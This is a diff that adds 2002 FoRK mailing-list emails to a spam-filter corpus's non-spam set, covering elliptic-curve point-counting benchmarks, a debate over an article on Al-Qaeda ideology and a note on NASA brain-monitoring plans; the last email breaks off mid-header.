+X-Pair-Authenticated: 66.124.225.138 +Message-Id: <00aa01c24573$2cbf10f0$640a000a@golden> +From: "Gordon Mohr" +To: +References: <20020816204431.ADEF4C44E@argote.ch> +Subject: Re: Elliptic Curve Point Counting, made easy +MIME-Version: 1.0 +Content-Type: text/plain; charset="Windows-1252" +Content-Transfer-Encoding: 7bit +X-Priority: 3 +X-Msmail-Priority: Normal +X-Mailer: Microsoft Outlook Express 6.00.2600.0000 +X-Mimeole: Produced By Microsoft MimeOLE V6.00.2600.0000 +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: Fri, 16 Aug 2002 15:20:48 -0700 + +Robert Harley writes: +> Here are some numbers with the new algorithm for counting points on +> elliptic curves (over fields of characteristic 2). +> +> In 1998, Reynald Lercier set a record at 1663 bits in 330 days of CPU +> on 266 MHz Alphas. In 1999, Frederik Vercauteren set a record at 1999 +> bits in 65 days of CPU on 400 MHz PCs. +> +> I've been working on the problem since then. These were measured just +> now on Rajit's 750 MHz Alpha: +> +> 1009 bits: +> Lift: 4.8 s + 0.64 s precomputation. +> Norm: 2.6 s + 0.31 s precomputation. +> +> 1663 bits: +> Lift: 18.5 s + 2.1 s precomputation. +> Norm: 7.0 s + 1.9 s precomputation. +> +> 1999 bits: +> Lift: 29.4 s + 3.6 s precomputation. +> Norm: 16.6 s + 3.4 s precomputation. +> +> 15013 bits: +> Lift: 1 h 39 m + 13 m precomputation +> Norm: 39 m + 1 h 41 m precomputation + +Not knowing one whit about elliptic curve math, can you provide +some expert interpretation of these results? + +It looks like the old record for, say, 199 bits, has been +blown out of the water by a factor of ~100,000. + +Does this mean that Eliptic Curve encryption is +now easily breakable? Or faster than before with +no loss in strength? Or stronger? + +Raw bits are OK, cooked bits are better. + +- Gordon + + +http://xent.com/mailman/listinfo/fork + diff --git a/bayes/spamham/easy_ham_2/01043.d4d172c60d71fd47544dfad4914d750b b/bayes/spamham/easy_ham_2/01043.d4d172c60d71fd47544dfad4914d750b new file mode 100644 index 0000000..cc9b564 --- /dev/null +++ b/bayes/spamham/easy_ham_2/01043.d4d172c60d71fd47544dfad4914d750b @@ -0,0 +1,76 @@ +From fork-admin@xent.com Mon Aug 19 11:03:26 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 80FC843C62 + for ; Mon, 19 Aug 2002 05:54:45 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 19 Aug 2002 10:54:45 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g7GKqB602951 for ; + Fri, 16 Aug 2002 21:52:12 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id 1408A29409A; Fri, 16 Aug 2002 13:50:08 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from argote.ch (argote.ch [80.65.224.17]) by xent.com (Postfix) + with ESMTP id E026C294098 for ; Fri, 16 Aug 2002 13:49:16 + -0700 (PDT) +Received: by argote.ch (Postfix, from userid 500) id ADEF4C44E; + Fri, 16 Aug 2002 22:44:31 +0200 (CEST) +To: fork@spamassassin.taint.org +Subject: Elliptic Curve Point Counting, made easy +Message-Id: <20020816204431.ADEF4C44E@argote.ch> +From: harley@argote.ch (Robert Harley) +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: Fri, 16 Aug 2002 22:44:31 +0200 (CEST) + +Here are some numbers with the new algorithm for counting points on +elliptic curves (over fields of characteristic 2). + +In 1998, Reynald Lercier set a record at 1663 bits in 330 days of CPU +on 266 MHz Alphas. In 1999, Frederik Vercauteren set a record at 1999 +bits in 65 days of CPU on 400 MHz PCs. + +I've been working on the problem since then. These were measured just +now on Rajit's 750 MHz Alpha: + + 1009 bits: + Lift: 4.8 s + 0.64 s precomputation. + Norm: 2.6 s + 0.31 s precomputation. + + 1663 bits: + Lift: 18.5 s + 2.1 s precomputation. + Norm: 7.0 s + 1.9 s precomputation. + + 1999 bits: + Lift: 29.4 s + 3.6 s precomputation. + Norm: 16.6 s + 3.4 s precomputation. + + 15013 bits: + Lift: 1 h 39 m + 13 m precomputation + Norm: 39 m + 1 h 41 m precomputation + + +Bye, + Rob. + .-. Robert.Harley@argote.ch .-. + / \ .-. Software Development .-. / \ + / \ / \ .-. _ .-. / \ / \ + / \ / \ / \ / \ / \ / \ / \ + / \ / \ / `-' `-' \ / \ / \ + \ / `-' ArgoTech `-' \ / + `-' http://argote.ch/ `-' +http://xent.com/mailman/listinfo/fork + diff --git a/bayes/spamham/easy_ham_2/01044.df9958b3f45f7d2e5b6e9f793fde2768 b/bayes/spamham/easy_ham_2/01044.df9958b3f45f7d2e5b6e9f793fde2768 new file mode 100644 index 0000000..4cc0d8c --- /dev/null +++ b/bayes/spamham/easy_ham_2/01044.df9958b3f45f7d2e5b6e9f793fde2768 @@ -0,0 +1,61 @@ +From fork-admin@xent.com Mon Aug 19 11:03:32 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 9095743FB1 + for ; Mon, 19 Aug 2002 05:54:57 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 19 Aug 2002 10:54:57 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g7H4mC619163 for ; + Sat, 17 Aug 2002 05:48:13 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id 4EC2A29409A; Fri, 16 Aug 2002 21:46:07 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from smtp1.auracom.net (smtp1.auracom.net [165.154.140.23]) by + xent.com (Postfix) with ESMTP id E226E294098 for ; + Fri, 16 Aug 2002 21:45:22 -0700 (PDT) +Received: from maya.dyndns.org (ts5-044.ptrb.interhop.net + [165.154.190.108]) by smtp1.auracom.net (8.11.2/8.11.2) with ESMTP id + g7H4Kvn18807; Sat, 17 Aug 2002 00:20:58 -0400 (EDT) +Received: by maya.dyndns.org (Postfix, from userid 501) id 3B25E1C336; + Sat, 17 Aug 2002 00:35:00 -0400 (EDT) +To: bitbitch@magnesium.net +Cc: fork@spamassassin.taint.org +Subject: Re: Al'Qaeda's fantasy ideology: Policy Review no. 114 +References: <58113821767.20020816230818@magnesium.net> +From: Gary Lawrence Murphy +X-Home-Page: http://www.teledyn.com +Organization: TCI Business Innovation through Open Source Computing +Message-Id: +Reply-To: Gary Lawrence Murphy +X-Url: http://www.teledyn.com/ +MIME-Version: 1.0 +Content-Type: text/plain; charset=us-ascii +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: 17 Aug 2002 00:35:00 -0400 + + +Wasn't the Aztec population that greeted Cortez already largely +decimated by the microbiology brought over by DeSoto nearly a hundred +years before? + +-- +Gary Lawrence Murphy TeleDynamics Communications Inc + Business Advantage through Community Software : http://www.teledyn.com +"Computers are useless. They can only give you answers."(Pablo Picasso) + +http://xent.com/mailman/listinfo/fork + diff --git a/bayes/spamham/easy_ham_2/01045.0747c6a86f16db954f0284d4074f8ec8 b/bayes/spamham/easy_ham_2/01045.0747c6a86f16db954f0284d4074f8ec8 new file mode 100644 index 0000000..e1988fd --- /dev/null +++ b/bayes/spamham/easy_ham_2/01045.0747c6a86f16db954f0284d4074f8ec8 @@ -0,0 +1,64 @@ +From fork-admin@xent.com Mon Aug 19 11:03:39 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 3672A441A3 + for ; Mon, 19 Aug 2002 05:55:00 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 19 Aug 2002 10:55:00 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g7H4rC619195 for ; + Sat, 17 Aug 2002 05:53:12 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id 3B7232940C1; Fri, 16 Aug 2002 21:51:07 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from smtp1.auracom.net (smtp1.auracom.net [165.154.140.23]) by + xent.com (Postfix) with ESMTP id 028272940C1 for ; + Fri, 16 Aug 2002 21:50:05 -0700 (PDT) +Received: from maya.dyndns.org (ts5-033.ptrb.interhop.net + [165.154.190.97]) by smtp1.auracom.net (8.11.2/8.11.2) with ESMTP id + g7H4Phn19351 for ; Sat, 17 Aug 2002 00:25:43 -0400 (EDT) +Received: by maya.dyndns.org (Postfix, from userid 501) id BCCF31C336; + Sat, 17 Aug 2002 00:50:37 -0400 (EDT) +To: fork@spamassassin.taint.org +Subject: Re: Al'Qaeda's fantasy ideology: Policy Review no. 114 +References: <58113821767.20020816230818@magnesium.net> +From: Gary Lawrence Murphy +X-Home-Page: http://www.teledyn.com +Organization: TCI Business Innovation through Open Source Computing +Message-Id: +Reply-To: Gary Lawrence Murphy +X-Url: http://www.teledyn.com/ +MIME-Version: 1.0 +Content-Type: text/plain; charset=us-ascii +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: 17 Aug 2002 00:50:37 -0400 + +>>>>> "b" == bitbitch writes: + + b> My only problem with this article ... + +I know I'll get my share of flames for saying so, but my only problem +with this article is that it is some of the scariest subtext hate-lit +propaganda I've seen come out of the US since the March of Tears, and +twice scarier that it is not seen as such. + +-- +Gary Lawrence Murphy TeleDynamics Communications Inc + Business Advantage through Community Software : http://www.teledyn.com +"Computers are useless. They can only give you answers."(Pablo Picasso) + +http://xent.com/mailman/listinfo/fork + diff --git a/bayes/spamham/easy_ham_2/01046.057093c54e51e1ebb4ad96d4a99d3325 b/bayes/spamham/easy_ham_2/01046.057093c54e51e1ebb4ad96d4a99d3325 new file mode 100644 index 0000000..e3db470 --- /dev/null +++ b/bayes/spamham/easy_ham_2/01046.057093c54e51e1ebb4ad96d4a99d3325 @@ -0,0 +1,78 @@ +From fork-admin@xent.com Mon Aug 19 11:03:44 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 9AC994406D + for ; Mon, 19 Aug 2002 05:55:01 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 19 Aug 2002 10:55:01 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g7H52D619369 for ; + Sat, 17 Aug 2002 06:02:14 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id DF53829409D; Fri, 16 Aug 2002 22:00:08 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from rwcrmhc52.attbi.com (rwcrmhc52.attbi.com [216.148.227.88]) + by xent.com (Postfix) with ESMTP id 832F7294098 for ; + Fri, 16 Aug 2002 22:00:01 -0700 (PDT) +Received: from localhost ([24.61.140.132]) by rwcrmhc52.attbi.com + (InterMail vM.4.01.03.27 201-229-121-127-20010626) with ESMTP id + <20020817050125.DGSN1186.rwcrmhc52.attbi.com@localhost>; Sat, + 17 Aug 2002 05:01:25 +0000 +From: bitbitch@magnesium.net +X-Mailer: The Bat! (v1.53d) Educational +Reply-To: bitbitch@magnesium.net +X-Priority: 3 (Normal) +Message-Id: <32120604960.20020817010121@magnesium.net> +To: Gary Lawrence Murphy +Cc: fork@spamassassin.taint.org +Subject: Re[2]: Al'Qaeda's fantasy ideology: Policy Review no. 114 +In-Reply-To: +References: <58113821767.20020816230818@magnesium.net> + +MIME-Version: 1.0 +Content-Type: text/plain; charset=us-ascii +Content-Transfer-Encoding: 7bit +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: Sat, 17 Aug 2002 01:01:21 -0400 + +Hello Gary, + + + +Oh I don't know if I'd go to the point of 'hate lit' -- Its an +interesting, albiet a bit troubling theory. Its not touchy-feely, +nor liberal friendly, but I wouldn't necessary say hate lit. + + +>>>>>> "b" == bitbitch writes: + +GLM> b> My only problem with this article ... + +GLM> I know I'll get my share of flames for saying so, but my only problem +GLM> with this article is that it is some of the scariest subtext hate-lit +GLM> propaganda I've seen come out of the US since the March of Tears, and +GLM> twice scarier that it is not seen as such. + + + + +-- +Best regards, + bitbitch mailto:bitbitch@magnesium.net + + +http://xent.com/mailman/listinfo/fork + diff --git a/bayes/spamham/easy_ham_2/01047.f89142721a78cc43cf92bc59bab85168 b/bayes/spamham/easy_ham_2/01047.f89142721a78cc43cf92bc59bab85168 new file mode 100644 index 0000000..31e79b0 --- /dev/null +++ b/bayes/spamham/easy_ham_2/01047.f89142721a78cc43cf92bc59bab85168 @@ -0,0 +1,106 @@ +From fork-admin@xent.com Mon Aug 19 11:03:44 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id DDBE8441A4 + for ; Mon, 19 Aug 2002 05:55:02 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 19 Aug 2002 10:55:02 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g7H5vE620593 for ; + Sat, 17 Aug 2002 06:57:14 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id 913D429409A; Fri, 16 Aug 2002 22:55:08 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from smtp1.auracom.net (smtp1.auracom.net [165.154.140.23]) by + xent.com (Postfix) with ESMTP id F23D2294098 for ; + Fri, 16 Aug 2002 22:54:40 -0700 (PDT) +Received: from maya.dyndns.org (ts5-034.ptrb.interhop.net + [165.154.190.98]) by smtp1.auracom.net (8.11.2/8.11.2) with ESMTP id + g7H5UHn24292 for ; Sat, 17 Aug 2002 01:30:17 -0400 (EDT) +Received: by maya.dyndns.org (Postfix, from userid 501) id 69E031C336; + Sat, 17 Aug 2002 01:51:25 -0400 (EDT) +To: fork@spamassassin.taint.org +Subject: Re: Re[2]: Al'Qaeda's fantasy ideology: Policy Review no. 114 +References: <58113821767.20020816230818@magnesium.net> + + <32120604960.20020817010121@magnesium.net> +From: Gary Lawrence Murphy +X-Home-Page: http://www.teledyn.com +Organization: TCI Business Innovation through Open Source Computing +Message-Id: +Reply-To: Gary Lawrence Murphy +X-Url: http://www.teledyn.com/ +MIME-Version: 1.0 +Content-Type: text/plain; charset=us-ascii +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: 17 Aug 2002 01:51:25 -0400 + +>>>>> "b" == bitbitch writes: + + b> .. I wouldn't necessary say hate lit. + +Hate-lit rests on a premise that "them" are fundamentally different +critters from "us" and thus, by being "them-like" they, as a +classification, "bring it on themselves" for us to "correct" them by +any means gruesome we might choose, after all, it's not /us/ pulling +the trigger, it's "them", right? I've heard Bush say this (verbatim) +more than once, and with a straight face. + +Call it gay-bashing or whatever, it's convenient tunnel-vision and +lies to justify violence against a creature genetically, morally and +intellectually indistinguishable from your sister. Go ahead, peel the +skin off a random daughter of each of them and lay them side by side +on the pavement, and you tell me which one was racially guilty, which +one carried the "infection" the "plague" (note, not the "antigen" or +the "hormone", which have similar metaphoric effects to philosophy, +but they chose the fear-charged words) + +"Make no mistake about it" it oozes rhetorical vehicles to obfuscate +it's lack of bits paragraph after paragraph in pushing an agenda to +/excuse/ "our" violence and suspension of human rights to 'clense' +ourselves of "them", the 'non-human' (or lesser-human) objects of its +hate. + +What else shall we call it? Just anti-liberal? + +Better question: What if, as in physics, the laws of human behaviour +are the same everywhere in the Universe? What if Al Queda is in fact +more like our mafia or biker gangs or school board trustees? + +What if they operate by the same neural-annealing Maxima-Minima +gratification mechanisms as you or I and every other creature on this +planet? + +What if, instead of magically and uniquely alien, they are, just like +our own captains and leaders, really only in it for the money, for +trade rights-of-way and for power over minions who will foolishly make +it all happen, minions whom they can once again dup with /virtually/ +/identical/ rhetoric ... except we call theirs "fundamentalist islam", +and they call ours "imperialist satanism"? + +When both sides can call the other "evil" to the cheers of their local +public and media, you can bet something's rotten in the state of Denmark. + +I guess that's why I live in the woods. Bears and racoons I +understand, but I really just don't 'get' people. + +-- +Gary Lawrence Murphy TeleDynamics Communications Inc + Business Advantage through Community Software : http://www.teledyn.com +"Computers are useless. They can only give you answers."(Pablo Picasso) + +http://xent.com/mailman/listinfo/fork + diff --git a/bayes/spamham/easy_ham_2/01048.a49961e63ff773b8164033ae01a22d80 b/bayes/spamham/easy_ham_2/01048.a49961e63ff773b8164033ae01a22d80 new file mode 100644 index 0000000..dbc2315 --- /dev/null +++ b/bayes/spamham/easy_ham_2/01048.a49961e63ff773b8164033ae01a22d80 @@ -0,0 +1,90 @@ +From fork-admin@xent.com Mon Aug 19 11:03:51 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 1EDDA441A5 + for ; Mon, 19 Aug 2002 05:55:04 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 19 Aug 2002 10:55:04 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g7H70Q622253 for ; + Sat, 17 Aug 2002 08:00:29 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id D996F29409A; Fri, 16 Aug 2002 23:58:06 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from nycsmtp3out.rdc-nyc.rr.com (nycsmtp3out.rdc-nyc.rr.com + [24.29.99.228]) by xent.com (Postfix) with ESMTP id 11470294098 for + ; Fri, 16 Aug 2002 23:57:13 -0700 (PDT) +Received: from damien (66-108-144-106.nyc.rr.com [66.108.144.106]) by + nycsmtp3out.rdc-nyc.rr.com (8.12.1/Road Runner SMTP Server 1.0) with ESMTP + id g7H70igQ018852 for ; Sat, 17 Aug 2002 03:00:53 -0400 + (EDT) +From: "Damien Morton" +To: +Subject: =?us-ascii?Q?FW:_Re:_Al_Qaeda's_Fantasy_Ideology?= +Message-Id: <000801c245bb$3af152d0$6a906c42@damien> +MIME-Version: 1.0 +Content-Type: text/plain; charset="us-ascii" +Content-Transfer-Encoding: 7bit +X-Priority: 3 (Normal) +X-Msmail-Priority: Normal +X-Mailer: Microsoft Outlook, Build 10.0.3416 +X-Mimeole: Produced By Microsoft MimeOLE V5.50.4807.1700 +Importance: Normal +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: Sat, 17 Aug 2002 02:56:27 -0400 + +-----Original Message----- +From: Damien Morton [mailto:damien.morton@acm.org] +Sent: Saturday, 17 August 2002 02:55 +To: 'polrev@hoover.stanford.edu' +Subject: Re: Al Qaeda's Fantasy Ideology + + +Youre right of course - the attack was performed for its effect on +muslims, not for its effect on the US. By showing that it can be done, +they inspire others to follow in their path, or so they hope. + +I take some objection to the belabouring of the term fantasy, because it +is somewhat perjorative. Imagining different worlds can often lead the +world to become more like that imagined. Moreso if action is taken on +the basis of those imaginings. + +Theres an interesting parralel with the great capitalist dream that +anyone can make anything happen through hard work and a bit of luck. +This is equally a fantasy, but one made to approach reality through +consensus. + +An interesting question then becomes, if Al Queda's actions are in +furtherance of a fantasy, what fantasies are George Bush's actions in +furtherace of? How many of the actions of George Bush and the US are +performed for their effect on the US population? For example, how much +showmanship has been put into rebuilding the morale of wall street. Is +this not as much a spirtual investment as the sacrifices Al Queda made? + +What cultural myopia is in play here in the US? + +I make a point of reading Australian, Britsish and US news. Today I +noticed that the Australian and British news are featuring the Iraqi +overtures to the UN on inspectors, while US news is featuring Iraqi war +preparations (digging bunkers etc). + +At a time that the US is withdrawing from international cooperation on +multiple levels, the fantasy of being surrounded by enemies (invisible +preferably) is somewhat appealing. A self fullfilling prophesy, if you +like. Perhaps that's whats at work here. + +http://xent.com/mailman/listinfo/fork + diff --git a/bayes/spamham/easy_ham_2/01049.dccc11d674f69b9e0cca35991248e514 b/bayes/spamham/easy_ham_2/01049.dccc11d674f69b9e0cca35991248e514 new file mode 100644 index 0000000..77707e0 --- /dev/null +++ b/bayes/spamham/easy_ham_2/01049.dccc11d674f69b9e0cca35991248e514 @@ -0,0 +1,82 @@ +From fork-admin@xent.com Mon Aug 19 11:03:51 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 4EAC1441A6 + for ; Mon, 19 Aug 2002 05:55:05 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 19 Aug 2002 10:55:05 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g7H76d622502 for ; + Sat, 17 Aug 2002 08:06:41 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id DACA82940D2; Sat, 17 Aug 2002 00:02:06 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from qu.to (njl.ne.client2.attbi.com [24.218.112.39]) by + xent.com (Postfix) with SMTP id 3C2A52940CF for ; + Sat, 17 Aug 2002 00:01:23 -0700 (PDT) +Received: (qmail 29465 invoked by uid 500); 17 Aug 2002 07:06:01 -0000 +From: Ned Jackson Lovely +To: fork@spamassassin.taint.org +Subject: Re: Re[2]: Al'Qaeda's fantasy ideology: Policy Review no. 114 +Message-Id: <20020817070601.GG9238@ibu.internal.qu.to> +References: <58113821767.20020816230818@magnesium.net> + + <32120604960.20020817010121@magnesium.net> + +MIME-Version: 1.0 +Content-Type: text/plain; charset=us-ascii +Content-Disposition: inline +In-Reply-To: +User-Agent: Mutt/1.3.25i +X-Cell: +1.617.877.3444 +X-Web: http://www.njl.us/ +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: Sat, 17 Aug 2002 03:06:01 -0400 + +On Sat, Aug 17, 2002 at 01:51:25AM -0400, Gary Lawrence Murphy wrote: +> Hate-lit + +By choosing that term you are certainly attempting to frame the debate by +choosing a fear-charged word. + +> What if they operate by the same neural-annealing Maxima-Minima +> gratification mechanisms as you or I and every other creature on this +> planet? + +If somebody maximizes their gratification by slaughtering people, we +shouldn't just try to understand them. We should try to stop them. You +seem to have forgotten this in your moral relativism. Everybody is +justified in their own head. This doesn't mean we forgive mass murders, +or ignore their acts. They are still guilty and abhorrent. We do +understand them better when we see them as a flawed human being, like +any one of us. + +> When both sides can call the other "evil" to the cheers of their local +> public and media, you can bet something's rotten in the state of Denmark. + +Calling "the other side" evil is a time-honored tradition. It is less +of a stepping point for an analysis of the situation than it is for an +analysis of human nature in general. + +> I guess that's why I live in the woods. Bears and racoons I +> understand, but I really just don't 'get' people. + +People require a touch more effort. + +-- +njl +http://xent.com/mailman/listinfo/fork + diff --git a/bayes/spamham/easy_ham_2/01050.147422ec417fbaec9eb10ad6cc298102 b/bayes/spamham/easy_ham_2/01050.147422ec417fbaec9eb10ad6cc298102 new file mode 100644 index 0000000..991f765 --- /dev/null +++ b/bayes/spamham/easy_ham_2/01050.147422ec417fbaec9eb10ad6cc298102 @@ -0,0 +1,81 @@ +From fork-admin@xent.com Mon Aug 19 11:03:57 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 54564441A8 + for ; Mon, 19 Aug 2002 05:55:08 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 19 Aug 2002 10:55:08 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g7H80S623572 for ; + Sat, 17 Aug 2002 09:00:30 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id 944FB2940D6; Sat, 17 Aug 2002 00:58:07 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from relay.pair.com (relay1.pair.com [209.68.1.20]) by xent.com + (Postfix) with SMTP id 5C2C2294098 for ; Sat, + 17 Aug 2002 00:57:53 -0700 (PDT) +Received: (qmail 39634 invoked from network); 17 Aug 2002 07:59:10 -0000 +Received: from adsl-66-124-225-138.dsl.snfc21.pacbell.net (HELO golden) + (66.124.225.138) by relay1.pair.com with SMTP; 17 Aug 2002 07:59:10 -0000 +X-Pair-Authenticated: 66.124.225.138 +Message-Id: <006101c245c3$f2f2c190$640a000a@golden> +From: "Gordon Mohr" +To: +References: <4.3.2.7.2.20020817003903.0215d3e0@mailsj-v1> +Subject: Re: NASA mindreading +MIME-Version: 1.0 +Content-Type: text/plain; charset="iso-8859-1" +Content-Transfer-Encoding: 7bit +X-Priority: 3 +X-Msmail-Priority: Normal +X-Mailer: Microsoft Outlook Express 6.00.2600.0000 +X-Mimeole: Produced By Microsoft MimeOLE V6.00.2600.0000 +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: Sat, 17 Aug 2002 00:59:00 -0700 + +Sounds like the "brain fingerprinting" touted by Steve Kirsch +last October... + + http://www.skirsch.com/politics/plane/ultimate.htm + +The commercial firm may very well be "Human Brain Research +Labs, Inc."... + + http://www.brainwavescience.com/ + +- Gordon + +----- Original Message ----- +From: "Chris Arkenberg" +To: +Sent: Saturday, August 17, 2002 12:46 AM +Subject: NASA mindreading + + +> NASA Plans to Read Terrorist's Minds at Airports +> http://www.washtimes.com/national/20020817-704732.htm +> +> This just strikes me as being so ridiculously bizarre. We are truly +> beginning to blur reality with science fiction. Makes me think of Minority +> Report (although PKD realized this future decades ago). Especially +> concerning (or intriguing?) is the revelation that "the agency is +> developing brain-monitoring devices in cooperation with a commercial firm, +> which it did not identify". +> +> http://xent.com/mailman/listinfo/fork + +http://xent.com/mailman/listinfo/fork + diff --git a/bayes/spamham/easy_ham_2/01051.d91d05faa71a21d4268ac1e7b7fc7e77 b/bayes/spamham/easy_ham_2/01051.d91d05faa71a21d4268ac1e7b7fc7e77 new file mode 100644 index 0000000..c40d17c --- /dev/null +++ b/bayes/spamham/easy_ham_2/01051.d91d05faa71a21d4268ac1e7b7fc7e77 @@ -0,0 +1,64 @@ +From fork-admin@xent.com Mon Aug 19 11:03:57 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 2753A441A7 + for ; Mon, 19 Aug 2002 05:55:07 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 19 Aug 2002 10:55:07 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g7H7mP623355 for ; + Sat, 17 Aug 2002 08:48:28 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id EA09329409A; Sat, 17 